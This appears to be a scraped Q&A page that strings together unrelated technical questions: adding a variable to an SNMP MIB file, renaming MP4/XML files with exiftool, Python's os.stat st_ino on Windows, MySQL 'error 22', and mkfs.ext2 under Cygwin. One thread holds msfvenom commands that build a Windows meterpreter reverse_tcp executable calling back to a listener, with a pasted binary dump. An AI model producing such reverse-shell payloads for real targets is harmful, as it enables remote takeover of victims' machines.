How to add the variables in MIB files in the linux? - snmp

Basically, I have added one variable called "sysFirst" (as shown in the below picture)in the available "RFC1213-MIB.txt" file. After addition of the variable I have validated also using command
smilint -l 6 -i namelength-32 ./RFC1213-MIB.txt
So I got the following result
root#pdu:/usr/share/snmp/mibs# smilint -l 6 -i namelength-32 ./RFC1213-MIB.txt
./RFC1213-MIB.txt:15: warning: redefinition of identifier `SNMPv2-SMI::mib-2'
/usr/share/mibs/ietf/SNMPv2-SMI:13: info: previous definition of `mib-2'
./RFC1213-MIB.txt:19: warning: redefinition of identifier `SNMPv2-TC::DisplayString'
/usr/share/mibs/ietf/SNMPv2-TC:53: info: previous definition of `DisplayString'
./RFC1213-MIB.txt:28: warning: redefinition of identifier `SNMPv2-TC::PhysAddress'
/usr/share/mibs/ietf/SNMPv2-TC:87: info: previous definition of `PhysAddress'
./RFC1213-MIB.txt:56: warning: redefinition of identifier `SNMPv2-SMI::transmission'
/usr/share/mibs/ietf/SNMPv2-SMI:14: info: previous definition of `transmission'
./RFC1213-MIB.txt:268: index element `ifIndex' of row `ifEntry' must have a range restriction
./RFC1213-MIB.txt:616: index element `atIfIndex' of row `atEntry' must have a range restriction
./RFC1213-MIB.txt:1308: index element `ipNetToMediaIfIndex' of row `ipNetToMediaEntry' must have a range restriction
./RFC1213-MIB.txt:19: warning: type `DisplayString' has no format specification
./RFC1213-MIB.txt:28: warning: type `PhysAddress' has no format specification
Then after restarting the SNMP daemon I observed it not reflecting in the MIB browser as shown in the below image,
What will be the reason for not reflecting the variable in the MIB browser?
Any help will be really appreciated.

Whatever MIB files we will make the same we need to add them to the MIB browser by using the load mib browser option normally we can find the same in the file option from the menu bar.
After adding the same we can use all the SNMP commands from any device which consists of the MIB Browser.

Related

Msfvenom does not produce required payload

I am trying to create a windows payload with msfvenom but it is not working properly:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe payload.exe
here is the error that I am getting
CommandLineToArgvWapr_initialize0123456789.0.0.0.0bogus %pI64dNo host data of that type was foundHost not foundGraceful shutdown in progressWSAStartup not yet calledWinsock version out of rangeNetwork system is unavailableToo many levels of remote in pathStale NFS file handleDisc quota exceededToo many usersToo many processesDirectory not emptyNo route to hostHost is downFile name too longToo many levels of symbolic linksConnection refusedConnection timed outToo many references, can't spliceCan't send after socket shutdownSocket is not connectedSocket is already connectedNo buffer space availableConnection reset by peerSoftware caused connection abortNet connection resetNetwork is unreachableNetwork is downCan't assign requested addressAddress already in useAddress family not supportedProtocol family not supportedOperation not supported on socketSocket type not supportedProtocol not supportedBad protocol optionProtocol wrong type for socketMessage too longDestination address requiredSocket operation on non-socketOperation already in progressOperation now in progressOperation would blockToo many open socketsInvalid argumentBad addressPermission deniedBad file numberInterrupted system callAPR does not understand this error codeError string not specified yetpasswords do not matchThis function has not been implemented on this platformThere is no error, this value signifies an initialized error codeShared memory is implemented using a key systemShared memory is implemented using filesShared memory is implemented anonymouslyCould not find specified socket in poll list.End of file foundMissing parameter for the specified command line optionBad character specified on command linePartial results are valid but processing is incompleteThe timeout specified has expiredThe specified child process is not done executingThe specified child process is done executingThe specified thread is not detachedThe specified thread is detachedYour code just forked, and you are currently executing in the parent processYour code just forked, and you are currently executing in the child processInternal errorThe process is not recognized.The given path contained wildcard charactersThe given path is misformatted or contained invalid charactersThe given path was above the root pathThe given path is incompleteThe given path is relativeThe given path is absoluteThe specified network mask is invalid.The specified IP address is invalid.DSO load failedNo shared memory is currently availableNo thread key structure was provided and one was required.No thread was provided and one was required.No socket was provided and one was required.No poll structure was provided and one was required.No lock was provided and one was required.No directory was provided and one was required.No time was provided and one was required.No process was provided and one was required.An invalid socket was returnedAn invalid date has been providedA new pool could not be created.Unrecognized Win32 error code %d\\?\UNC\\\?\CancelIoGetCompressedFileSizeAGetCompressedFileSizeWZwQueryInformationFileGe tSecurityInfoGetNamedSecurityInfoAGetNamedSecurityInfoWUNC \GetEffectiveRightsFromAclW��������ntdll.dllshell32ws2_32mswsockadvapi32kernel32▒�0� H`Phh4VS_VERSION_INFO���?�StringFileInfo�040904b00
I think its because you didn't specify the output argument. Try using the "-o" or the ">" argument.
Eg.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > out.exe
OR
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o out.exe

I want the mp4 file shooting date to be the xml file name

In Windows 10 environment, I would like to change the name of both “file with extension mp4” and “file with extension xml” to the shooting date of mp4 file.
C0001.MP4
C0001M01.XML
C0002.MP4
C0002M01.XML
Specifically, I want to change the file name as follows.
2019-10-23_13-10-32.MP4
2019-10-23_13-10-32.XML
2019-10-23_13-10-49.MP4
2019-10-23_13-10-49.XML
I tried to think that using the ext option would give me the expected result, but I didn't get the expected result.
First time
C:\Users\user>exiftool "-FileName<CreateDate" -d "%Y-%m-%d_%H-%M-%S%%-c.%%e" -ext "xml" C:\hoge
Warning: [minor] Error 3 placing ::NonRealTimeMetaLtcChangeTableLtcChangeStatus in structure or list - C:/hoge/C0001M01.XML
Warning: No writable tags set from C:/hoge/C0001M01.XML
Warning: [minor] Error 3 placing ::NonRealTimeMetaAudioFormatAudioRecPortTrackDst in structure or list - C:/hoge/C0002M01.XML
Warning: No writable tags set from C:/hoge/C0002M01.XML
1 directories scanned
0 image files updated
2 image files unchanged
Second time
C:\Users\user>exiftool "-FileName<CreateDate" -d "%Y-%m-%d_%H-%M-%S%%-c.%%e" -ext "*" C:\hoge
Warning: [minor] The ExtractEmbedded option may find more tags in the movie data - C:/hoge/C0001.MP4
Warning: [minor] Error 3 placing ::NonRealTimeMetaLtcChangeTableLtcChangeStatus in structure or list - C:/hoge/C0001M01.XML
Warning: No writable tags set from C:/hoge/C0001M01.XML
Warning: [minor] The ExtractEmbedded option may find more tags in the movie data - C:/hoge/C0002.MP4
Warning: [minor] Error 3 placing ::NonRealTimeMetaAudioFormatAudioRecPortPort in structure or list - C:/hoge/C0002M01.XML
Warning: No writable tags set from C:/hoge/C0002M01.XML
1 directories scanned
2 image files updated
2 image files unchanged
Added November 22, 2019
I tried the code posted in this link .
C:\Users\user>exiftool -TagsFromFile %d%f.mp4 "-FileName<CreateDate" -ext xml C:\hoge
Warning: Error opening file - C:/mp4data/C0001M01.mp4
Warning: Error opening file - C:/mp4data/C0002M01.mp4
1 directories scanned
0 image files updated
2 image files unchanged
I think the cause of the error is that “.mp4 file name” and “.xml file name” do not match.
Since “M01” is always a fixed value, is there any way to batch process it?
C0001.MP4
C0001M01.XML
C0002.MP4
C0002M01.XML

Meaning of ST_INO (os.stat() output) in Windows OS

Can anyone tell me what the meaning of the value for st_ino is when running os.stat() on Windows (Python 3.5.3)?
In earlier Python releases, this contained dummy values, but this has recently changed and I couldn't find how it is calculated/generated. I suspect that it differs based on the file system (NTFS, FAT, ...)
Example
import os
stat = os.stat(r'C:\temp\dummy.pdf')
for attr in dir(stat):
if attr.startswith('st_'):
print('{}: {}'.format(attr,
stat.__getattribute__(attr)))
Result
st_atime: 1495113452.7421005
st_atime_ns: 1495113452742100400
st_ctime: 1495113452.7421005
st_ctime_ns: 1495113452742100400
st_dev: 2387022088
st_file_attributes: 33
st_gid: 0
st_ino: 10414574138828642
st_mode: 33060
st_mtime: 1494487966.9528062
st_mtime_ns: 1494487966952806300
st_nlink: 1
st_size: 34538
st_uid: 0
Background
I used the shutil.copyfile() function an ran into an SameFileError. After looking through the code (and despite what it says in the comments of shutil.py) the shutil._samefile() function does not compare pathnames in Windows. Instead, it uses os.path.samefile() which compares the st_ino and st_dev values.
Both source and target file resided on the same device (volume), which would explain why the value for st_dev was the identical. But I'm still puzzled as to why st_ino had the same value for both files.
Remark: both files were on a Sharepoint volume mounted using webDAV, so their st_ino value may have been 0 (dummy), which would explain why they were equal. I'm still curious though ;-)
Update
As I suspected, the value for st_ino returned for the files residing on the Sharepoint volume (WebDAV), was 0, as was the value for st_dev. This is the reason for (incorrect) SameFileError. Example output:
\\sharepoint#SSL\AUT.pdf os.stat_result(st_mode=33206, st_ino=0, st_dev=0, st_nlink=1, st_uid=0, st_gid=0, st_size=4717, st_atime=1495031011, st_mtime=1495031011, st_ctime=1495031570)
\\sharepoint#SSL\ING.pdf os.stat_result(st_mode=33206, st_ino=0, st_dev=0, st_nlink=1, st_uid=0, st_gid=0, st_size=4722, st_atime=1495031203, st_mtime=1495031203, st_ctime=1495031733)
\\sharepoint#SSL\WAG.pdf os.stat_result(st_mode=33206, st_ino=0, st_dev=0, st_nlink=1, st_uid=0, st_gid=0, st_size=4710, st_atime=1495031511, st_mtime=1495031511, st_ctime=1495031912)

got error 22 from storage engine mysql

mysqldump: Error: 'got error 22 from storage engine' when trying to dump
tablespaces
mysqldump: Got error: 23: Out of resources when opening file '.\database\table.MYD' (Errcode: 24) when using LOCK TABLES
i got this error when trying to make a dump in any database that I select , looks like that database is corrupted , is possible repair that ?
You seem to have reached the maximum number of open files. This limit is either MySQL's or the system's.
increase the value for the open_files_limit in your MySQL configuration file (this directive does not exist in a default installation, so you might need to create it in the [mysqld] section)
increase the limit at system level (but I am not sure this applies to Windows)
Here are some reasons for this error:
Type “source path-to-SQL-file“. BUT, you must follow these rules:
Use the full source command, not the . shortcut.
Have no spaces in your path. I copied mine to a root of a drive. Note that spaces in the file name is OK, just not the path.
Do not quote the file name, even if it has spaces. This gave error 22.
Use forward slashes in the path, e.g., C:/path/to/filename.sql. Otherwise you’ll get error 2.
Do not end with a semicolon.
Please check your read write access to the drive where you have stored your mySQL database.
error 22 occurred usually when you have no write access to that drive.

mkfs.ext2 in cygwin not working

I'm attempting to create a fs within a file.
under linux it's very simple:
create a blank file size 8 gb
dd of=fsFile bs=1 count=0 seek=8G
"format" the drive:
mkfs.ext2 fsFile
works great.
however under cygwin running from /usr/sbin ./mkfs.ext2
has all kinds of weird errors (i assume because of some abstraction)
But with cygwin i get:
mkfs.ext2: Device size reported to be zero. Invalid partition specified, or
partition table wasn't reread after running fdisk, due to
a modified partition being busy and in use. You may need to reboot
to re-read your partition table.
or even worse (if i try to access a file through /cygdrive/...
mkfs.ext2: Bad file descriptor while trying to determine filesystem size
:(
please help,
Thanks
Well it seems that the way to solve it is to not use any path on the file you wish to modify.
doing that seems to have solved it.
also it seems that my 8 gig file does have a file size that's simply to big, it seems like it resets the size var i.e.
$ /usr/sbin/fsck.ext2 -f testFile8GiG
e2fsck 1.41.12 (17-May-2010)
The filesystem size (according to the superblock) is 2097152 blocks
The physical size of the device is 0 blocks
Either the superblock or the partition table is likely to be corrupt!
Abort? no
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
testFile8GiG: 122/524288 files (61.5% non-contiguous), 253313/2097152 blocks
Thanks anyway

Resources